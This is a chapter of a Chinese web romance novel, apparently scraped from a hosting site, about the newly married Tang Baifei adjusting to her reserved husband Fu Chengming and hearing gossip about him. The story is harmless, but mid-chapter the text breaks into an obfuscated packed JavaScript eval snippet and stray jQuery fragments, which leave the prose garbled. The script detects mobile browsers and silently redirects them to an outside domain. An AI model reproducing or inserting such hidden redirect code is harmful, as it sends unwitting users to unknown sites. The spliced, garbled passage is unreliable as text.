默认冷灰
24号文字
方正启体

2. 唐小姐心很大

作者:好柿甜花生本书字数:K更新时间:
    唐小姐心大,该吃吃该喝喝。


    吃过饭,已是下午。


    下午夕阳正盛,成姨拉着她走走看看,把这五进五出的中式庭院逛了一遍。


    唐柏菲除了腿酸腰困,唯一想法就是要撤回早上说的话,她很喜欢这个院子。宽敞大气,布局端方,古朴森然,所有窗户是奇楠木,质地软,摸着滑腻,凑近有淡香。院内随处可见柿树,枝头压雪,成姨还说设计师特地种了文冠树,寓意官运亨通,步步高升。印象最深的是那些文玩字画,博古图挂屏,大漆镶狩猎图围屏六扇,她房间里的斑竹小屏风。


    还有那偌大的池子,十几条价值上万的鱼。


    成姨说:“原本呢,傅先生说这鱼没有贵贱,花鸟市场上几块钱一条就够了,最后还是懂风水的和设计师自作主张,偷偷换成金贵的,不然压不住,万一死上一条,多不吉利。”


    整个儿逛完,唐柏菲洗了澡,换好睡衣躺床上一看表,晚上十点。


    入了夜,整座院子安静下来。


    甚至能听见被褥枕头摩擦的声音。


    手机里毛晚栗消息成山,还附加三个未接来电。


    最后一条是:[再不回我报警了啊。]


    唐柏菲回复。


    菲菲公主:[来了jpg]


    霉栗子:[这么久不回消息,被你老公制裁了?是的话眨眨眼。]


    菲菲公主:[如果他一直不回家叫制裁的话,那我真的谢天谢地~]


    [可别忘了他和你爸关系好,项目一开,指不定他向你爸告恶状。]


    这句话渗出唐柏菲一身冷汗。


    她总归是怕唐永清。


    在去年,唐柏菲从伦敦学设计回国后,突然反水要当模特。


    唐永清勃然大怒,第一次对她说重话,把刚二十一岁的唐柏菲吓坏了。但,结果还是如了她的意愿,只是唐永清再不为她铺路了,人脉、资本一无所有,什么都要靠她自己。


    曲令仪也劝她,你一个怎么能行呢,外面多乱呀。


    那时候的唐小姐正在劲头上,怎么气爸爸怎么来。


    签公司,当平模,甚至给某宝拍照片。


    她就打算一条路走到黑,要么,失败了,灰溜溜回去,一切听从安排,要么凭本事建设事业,从此让全家人刮目相看,娇生惯养的唐小姐也是很有水平的。


    最终,凭着好看脸蛋和完美身材,唐柏菲确实飞快闯出一条道,够格参与三线杂志封面拍摄,一张照片至少上万。


    毛晚栗也是模特,两个人就那样在后台认识的。


    只可惜唐柏菲赌赢了事业,却赌输了婚姻。


    刚回国那阵子,唐柏菲在香港谈了个男朋友,叫白尽州,歌手,偶尔演戏。


    偏在那时唐永清动了点联姻的念头,好声好气和她商量,给她看关于傅程铭的采访。


    她懒得看,只道:“我有男朋友了,你让他滚蛋。”


    唐永清即刻精神了,站起身,厉声道:“什么时候,怎么都不告爸爸一声?谁啊,做什么的,人怎么样,怎么不带回家看看。”


    “娱乐圈的,是个明星,唱跳歌手。他很忙,我也不可能带他来见你。”


    “像什么话。”


    “怎么了,恋爱自由。”唐柏菲一句话堵得唐永清差点没喘上气。


    “好,他要能靠得住,是个人品过关的,你当我没话说,你们结婚,我出钱风光大办,要不是,就乖乖听家里安排,我们可不比你白活这些年!”


    唐柏菲一跺脚,仰起头:“好,和你打赌!”


    再然后,啪啪打脸。


    白尽州劈腿,是个花心港男,港媒爆料也是丝毫不给面子。唐柏菲就此成为港圈豪门内的饭后谈资、负面教材。


    唐永清气得,喝了两片速效救心丸,当月就领全家人提前去了北京。


    窗外鸟叫了几声,她回过神。


    给毛晚栗回消息:[哭jpg]


    还能怎么办,只有硬着头皮,和傅程铭面对面讲清楚。


    倘或真揪着不放,就别怪她撒泼了。


    -


    唐柏菲住下的第三天,北京照旧下雪,傅程铭照旧不在。


    两人自那天起,再没同时出现过。


    南池子那座院子,傅程铭之前隔段日子回去一次,现下唐柏菲在,他倒打算彻底久居办公室。


    冯圣法去华鸣找他时,傅程铭穿得不太正式,休闲西裤,衬衫领口解开两颗扣子,原本梳上去的头发耷拉下一绺,多了分随性,没有往日那样板正。


    “傅董这是...”冯圣法目光略带调侃,环顾一圈套房式办公室,洗手间、卧室一应俱全,再看傅程铭那打扮,“新婚不久,开始和老婆分居?我瞧出来了,你是宁可受这罪,也不愿意回那院子。”


    包括冯圣法在内,傅程铭那几个大院儿里的朋友都知道内情,他和内什么唐小姐没感情,刚领了证的那天,傅程铭平平常常,继续开会、工作。


    傅程铭抬眼看了下冯圣法,又垂下,不表态,继续撵着纸页,翻着昨天放进来亟待签字的文件。


    冯圣法坐在对面沙发,随意拿起矿泉水,拧开来喝。


    “现在是早上七点,你不敲门,也不打招呼来找我,就为了说这句话,”傅程铭话末语调微扬,“你未免太闲了点儿。”


    “睡不着,失眠。”


    签字笔油墨干了,傅程铭一面换芯,一面冷冷道:“让我替你找医生,还是让我治你的失眠症。”


    “瞧你,”


    冯圣法看他那一派肃然、难以接近的样儿,不禁笑笑:“总这样一本正经的,原本三十出头,愣是被你那老成腔调搞得像四十多岁。”顿了顿,道:“我来,是昨天崇严约咱们几个小聚,他商场得意,新的分公司敲开上交所的门了,告我说,必须要热闹庆祝,还叫你带上唐小姐。”


    傅程铭顿住,看向冯圣法。


    后者则振振有词:“其他太太们也来,你不带,叫唐永清面子往哪儿搁,合着咱们这圈子里的人,排挤人家大小姐呢。”


    “好。”


    傅程铭应下来,冯圣法看出他的疑虑,探身问:“又怎么了,你和她没感情,连个邀请函都发不出去了?”


    “我没有她联系方式。”


    冯圣法差点儿从沙发上掉下去。


    合着哥们儿您结婚一礼拜,人姑娘微信都没有啊。


    傅程铭看他那嘲讽表情,有点不自在,于是起身,将门大敞开,指了指外面,冯少爷也懂什么意思,知趣的往门口走,离开前,不忘对傅程铭说,也似是炫耀:“我去酒吧喝一杯,就能加几十个姑娘的。”


    他回一句:“胡闹。”


    可惜冯少爷没听见这句训,一溜烟走了。


    门合上。


    傅程铭坐回去,继续伏案,看秘书写的发言稿,哪些要留,哪些要改。


    估摸着到十二点,桌上的手机震动几声。


    傅程铭转首看,屏幕亮了,绿色框,显然是微信。


    拿过手机看,是一位名为菲菲公主的好友申请,申请理由:“我是唐柏菲。”头像是一只粉色的、黄头发的,猪。傅程铭不解,为什么名字叫公主头像是猪,又为什么会主动加他微信。这些暂且按下不表,他动动手指,点了通过。


    紧接着是连续几条消息。


    菲菲公主:[你好。]


    [你好jpg]


    [早上好jpg]


    现在是早晨么?他想,又看了眼手表。


    另一边,


    唐柏菲刚起床,看他这么快通过好友验证,彻底清醒了,现下整个人在床上团成一团,跟个鹌鹑似的,思考怎么回复。这间隙,她也视奸傅程铭的微信,头像一片空白,朋友圈一条横线,个性签名是一个点,最奇怪的,网名就是他本名,简直是本世纪的怪人。


    她顺手改了备注,改成——新世纪老男人。


    对面回:[你好。]


    她趴着,小腿互相勾着晃悠,指尖在屏幕一点一点:[今天中午来吃饭吗,十二点,我让成姨做了双人份]


    [期待jpg]


    傅程铭眉头不自觉发紧。


    她果真如唐永清说的那样,有些不着调,想一出是一出、今天大笑明天哭的女孩子。


    他回:[好。]


    对面依然是连发四个干饭jpg。


    聊天以那个吃屎的表情包结束,画上不圆满句号。


    当唐柏菲反应过来误触那个图时,已经晚了,屏幕上显示绝望的一句话:消息发出超过两分钟无法撤回。


    起床,拉开窗帘,踩着地板上一爿爿阳光,去洗手间洗漱,贴片补水面膜。摘下后,唐柏菲对着镜子拍拍脸,看脸上浮着的那一层光泽,出了神。


    人与人之间的梁子就是这么结下的,得罪他,再主动求和,结果还误发一个恶俗表情。她不了解他,亦不知道他脾气如何,记不记仇,会不会当唐永清的面讲她坏话。


    唐小姐抱着问题去找成姨。


    见到人时,成姨在院子里掸柿树枝干上的雪。


    院里,冬雪红柿,柿子挂上去像一群红灯笼,有些表皮还结着冰晶。


    雪扫下去,柿子即刻向上弹,整棵树变得很轻盈。


    成姨见她来,问:“怎么样,傅先生中午回来吗。”


    唐柏菲点点头。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542780|171058||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “那就好,诶,外面冷,快回去吧。”


    成姨朝她摆手。


    唐柏菲还站在原地不动,想着这几天和成姨越来越熟,便上前,直截了当问:“成姨,你觉得,傅程铭脾气好吗?”


    对面掸雪的人一怔。


    唐小姐即刻心虚,以笑作掩饰:“我随便问问的。”


    “其实我也不太清楚,毕竟从我接管这座院子,傅先生回来的次数也不过十几次,每次见面都不会说太多。”成孀想,唐小姐搬来前,院里冷冷清清,傅程铭偶尔来,顶多说几句客套话,音调也是淡淡的,让人难以接近。


    “不过我倒亲眼见过一回事儿,”成姨声音低了几度,环顾一圈,走近唐柏菲,“就在去年年底,听说是傅先生集团有个高层被查了,他那段日子回家都到了半夜。”


    唐柏菲睁圆眼睛,等着后话。


    成姨又说:“我送夜宵的时候,傅先生闲聊似的和我说了一句,说他正肃清高层内部呢,整天和那些老滑头斗法。我和你讲,华鸣是傅先生爸爸去世后他接管的,高层大部分都是老资格,比他大一辈儿。我当时瞧他的样子,看来那群人是不太好管,可能,一群老资格对他这样一个年轻的董事长不服气。”


    “那,您知道他父亲怎么去世的吗?”


    唐柏菲从唐永清口中了解过,她知道傅程铭父亲离世时正当年,却不知怎么驾鹤归西的。


    “这我就不清楚了,傅先生很少提起。”


    成姨讲起八卦,把柿子树抛诸脑后,拉着唐柏菲边走边说,“后来啊,忘了哪一天,一个男人半夜拉着门环扣门,那铁门声音可大了,然后在外面惨叫,求傅先生一定救救他。我去问他,要不要赶走,他说不用,还要开门去看。”


    “我怕半夜出什么事儿,紧紧攥着手机,一有不对,马上报/警,”成姨说的绘声绘色,身临其境,“谁知道那个男人进来以后,扑腾一声跪在雪地里,就那么跪在傅先生面前了。”


    唐柏菲问:“那男人是谁啊。”


    “不晓得,太黑了,根本看不清,就听见嗓子都喊哑了,哭得那叫一个惨,嘴里说什么,求求您,送我出国,或者去日本,总之啊他错了,一定要离开北京。而且,那男人还去抱傅先生大腿。”


    “那傅程铭呢,他什么反应。”


    “一脚把人踢开了。不到几分钟,警/车来了,把那人抓走了。再之后的几天啊,那男人的全家来求,也被赶走了,我听傅先生那么轻描淡写对电话里说了一句,”


    成姨讲到这,顿住,伸出四根指头,“贪了四个亿,应该是那男人贪的。”


    唐柏菲诧异,几乎喊出来:“这么多!那一点儿不冤!”


    在她心里,也对成姨所描述的那夜有了大概轮廓。


    端正的四九城里飘起鹅毛大雪,肃然的四合院儿内,仅剩一些如水的月色。


    傅程铭站在院中央,一副浑然天成的上位者姿态,睥睨着跪在他面前的狼狈男人。


    她呼吸一滞。


    成姨看出来她有些吃惊,便说:“夫人,一码归一码,只要不破他的原则,他一定是个谦和的人,如果像那个男人似的,打破他底线,那,傅先生估计要大发雷霆,绝不放过了。”


    骂他性/无能算原则问题吗?


    唐柏菲在想这个时,没注意傅程铭已然入院。


    此刻,人就站在最高的一株柿树下面,静静看了会儿谈论他的两人。


    女孩子披着一件羊毛外套,毛色雪白,她不时用手拽扯,最后问成孀:“那您还知道什么呢,比如,傅程铭有什么不良嗜好,黑历史。”


    成孀问:“什么叫黑历史啊。”


    女孩子开始跺脚,急着解释:“就是...做过哪些丢脸的事儿。”


    “呦,应该没有吧。”


    成孀拍拍她的手,跟哄孩子似的,“不早了,我先去厨房看一眼,啊。”


    走远后,只剩她一个呆在原地。


    傅程铭看着她的背影,嘴角挂着点笑意,走到和她齐平的位置。女孩子感受到有人接近,先是转头看他胸口,再把头扬起。


    一阵无言。


    傅程铭虽然不过四十,却也资历颇深,她那些情绪,他看得一清二楚。


    ——尴尬,诧异,惊讶。


    看破不说破,傅程铭微点头,对着唐柏菲做出礼貌的笑,“外面儿冷,进去吧。”


    话毕,他抬脚刚走了一步,袖筒便被一只手拽住。


    他顿步,回头看。


    唐柏菲两个指头捏着他袖口不松,指尖细长,皮肤素白。她一双大眼睛,直勾勾盯着他,煞有介事道:“我知道你都听见了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)